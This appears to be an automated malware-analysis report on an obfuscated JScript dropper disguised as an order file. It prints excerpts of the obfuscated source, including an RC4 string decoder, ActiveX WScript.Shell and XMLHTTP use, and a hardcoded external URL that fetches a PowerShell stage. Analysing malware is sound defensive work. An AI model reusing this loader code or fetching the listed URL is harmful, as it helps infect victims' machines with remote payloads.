Hostile ^92% Download

MM-7953-0053_110_AA SIPARIS 9100052982 .js

Obfuscated dropper, C2, PowerShell exec

Obfuscated ActiveX JS uses PS ep bypassVBS launcher with C2 download and persistence

SHA-256f9990cde4b2caa8c2d2d05d4c62bf7862ffefe51998d74bc0b3ca4772bff479a

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₅(C₃ErAs₅SXe)H₆(Cm₈Cr₂Db₆F₂OsPo₇)Md

Evidence

PowerShell nop/ep-bypass -File launch line 1

1function _0x1294(_0x4971ff,_0xa9135d){_0x4971ff=_0x4971ff-0x0;var _0x12c731=_0x2529();var _0x2957c3=_0x12c731[_0x4971ff];return _0x2957c3;}function _0x2529(){var _0x4eb12f=_0x8211;var _0x1be550=_0x8211;var _0x494bed=_0x8211;var _0x173511=_0x8211;var _0x22c46a=_0x8211;var _0x35d2ee=_0x8211;var _0x37a055=_0x8211;var _0xaaf009=_0x8211;var _0xdc434=_0x8211;var _0x250b46=[_0x4eb12f(0x70,'$^dm'),_0x1be550(0x2d,'UfhT'),_0x1be550(0x76,'d2%H'),_0x494bed(0x83,'*&cr'),_0x4eb12f(0x65,'qenA'),_0x22c46a(0x86,'wQuA'),_0x22c46a(0x62,'^pV8'),_0x22c46a(0x4a,'d2%H'),_0xaaf009(0x61,'qpXM'),_0xdc434(0x18,'r@Pt'),_0x37a055(0x44,'d8Oe'),'XQOTB',_0xaaf009( …

References the toString conversion method line 1

1:668… 055(0x2e,'jIRR'),_0x1be550(0x16,'d8Oe'),_0xaaf009(0x10,'pl^k'),'toString',_0xaaf009(0x7a,'Y^1E'),_0x173511(0x30,'kKg['),_0x1be550(0x77,'CVIW'),'CreateFolder',_0x35d2ee(0x8f,'ZVl&'),_0x37a055(0x4e,'CVIW'),'C:\x5cTemp\x5c',_0x173511(0xa,'TQh3'),_0x35d2ee(0xe,'1gqc'),_0xaaf009(0x82,'^Lo&'),_0x22c46a(0x20,')hmJ'),_0x35d2ee(0x34,'1Fbi'),_0x37a055(0x3 …

RC4 KSA identity-fill loop line 1

1:1185… kKg[')];_0x2529=function(){return _0x250b46;};return _0x2529();}function _0x8211(_0x5a4ade,_0x82116e){_0x5a4ade=_0x5a4ade-0x0;var _0x4404ea=_0x5a4a();var _0x13f7e6=_0x4404ea[_0x5a4ade];if(_0x8211['ZSTrvG']===undefined){var _0x559a6e=function(_0x3e0da7){var _0x5a946e='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x5b0431='';var _0x2903e5='';for(var _0x59ecfb=0x0,_0x399dcd,_0x3e4b60,_0x31d0f2=0x0;_0x3e4b60=_0x3e0da7['charAt'](_0x31d0f2++);~_0x3e4b60&&(_0x399dcd=_0x59ecfb%0x4?_0x399dcd*0x40+_0x3e4b60:_0x3e4b60,_0x59ecfb++%0x4)?_0x5b0431+=String['fromCharCode'](0xff&_0x399dcd>>(-0x2*_0x59ecfb&0x6)):0x0){_0x3e4b60=_0x5a946e['indexOf'](_0x3e4b60);}for(var _0xccc7d5=0x0,_0x4ed7fe=_0x5b0431['length'];_0xccc7d5<_0x4ed7fe;_0xccc7d5++){_0x2903e5+='%'+('00'+_0x5b0431['charCodeAt'](_0xccc7d5)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x2903e5);};var _0x56baea=function(_0x37dd76,_0x39fd35){var _0x4c84dc=[],_0x14a099=0x0,_0x13c8b9,_0x81f096='';_0x37dd76=_0x559a6e(_0x37dd76);var _0x43d295;for(_0x43d295=0x0;_0x43d295<0x100;_0x43d295++){_0x4c84dc[_0x43d295]=_0x43d295;}for(_0x43d295=0x0;_0x43d295<0x100;_0x43d295++){_0x14a099=(_0x14a099+_0x4c84dc[_0x43d295]+_0x39fd35['charCodeAt'](_0x43d295%_0x39fd35['length']))%0x100;_0x13c8b9=_0x4c84dc[_0x43d295];_0x4c84dc[_0x43d295]=_0x4c84dc[_0x14a099];_0x4c84dc[_0x14a099]=_0x13c8b9;}_0x43d295=0x0;_0x14a099=0x0;for(var _0x200e23=0x0;_0x200e23<_0x37dd76['length'];_0x200e23++){_0x43d295=(_0x43d295+0x1)%0x100;_0x14a099=(_0x14a099+_0x4c84dc[_0x43d295])%0x100;_0x13c8b9=_0x4c84dc[_0x43d295];_0x4c84dc[_0x43d295]=_0x4c84dc[_0x14a099 …

Source literal contains an external-IP HTTP URL line 1

1:6098… turn _0x746240;};return _0x5a4a();}(function(){'use strict';var _0x2eb63f=_0x8211;var _0x3e5f33=_0x8211;var _0x43c190=_0x1294;var _0x18d59f=_0x1294;var _0x1e200a=_0x1294;var _0x51f8d8=_0x1294;var _0x48c150=_0x1294;var _0x19391c={};_0x19391c[_0x43c190(0x26)]='http://158.94.210.129/GMT/HCRYPTED_STUB.ps1';_0x19391c[_0x43c190(0xc)]=_0x1e200a(0x18);_0x19391c[_0x2eb63f(0x9,'L5@O')]=0x2;var _0x8c6dab=_0x19391c;var _0x554513=new ActiveXObject(_0x3e5f33(0x48,'L5@O'));var _0x4d7215=new ActiveXObject('WScript.Shell');var _0x179af9=new ActiveXObject(_0x1e200a(0x16));function _0x564a63(_0x4c32a7){var _0x2dcaee=_0x2eb63f;var _0x14ed68=_0x2eb63f;var _0x31f552=_0x2eb63f;var _0x525e71=_0x2eb63f;var _0x1528e1=_0x2eb63f;var _0x3fff85=_0x2eb63f;var _0x1a45af=_0x2eb63f;var _0 …

References an XMLHTTP COM client line 1

1:11793… x3a8809(0x6d,']vii'),'BjIrk',_0x5adf95(0x43,'aO#s'),_0x3d20d3(0x25,'*&cr'),'Run',_0x8cd8a2(0x59,'YfL3'),'gXNMp','CreateFolder','MSXML2.XMLHTTP',_0x53cfbf(0x7,'uHsa'),'C:\x5cTemp\x5c','jPibT',_0x3d20d3(0x23,'^pV8'),_0x5b1873(0x39,'9W8H'),'Close',_0x3603eb(0x2c,'a7Dw'),_0x53cfbf(0x71,']vii'),'substring','kCkpY',_0x47f83b(0x40,'a7Dw'),_0x53cfbf(0x1b,'8Y]!'),_0x5adf95(0x35,'%T(R'),'rBrqe',_0x53cfbf(0x3f,'pl^k'),'url'];_0x4c84dc=function(){return _0x238ce3;};return _0x14a099();}else{return _0x40bd7b(_0x292025[_0x43eb9b(0xb,'0Rj5')]);}},function(){if('Plgvn'==='etEru'){_0x5364a1[_0x165409]=_0x52e34e;return this;}else{var _0x383ba7=_0x50869a;var _0xc27f08=_0x50869a;return _0x1d6a33(_0x24c6dc[_0x383ba7(0x26)],_0x67f1cc[_0xc27f08(0x1d)]);}} …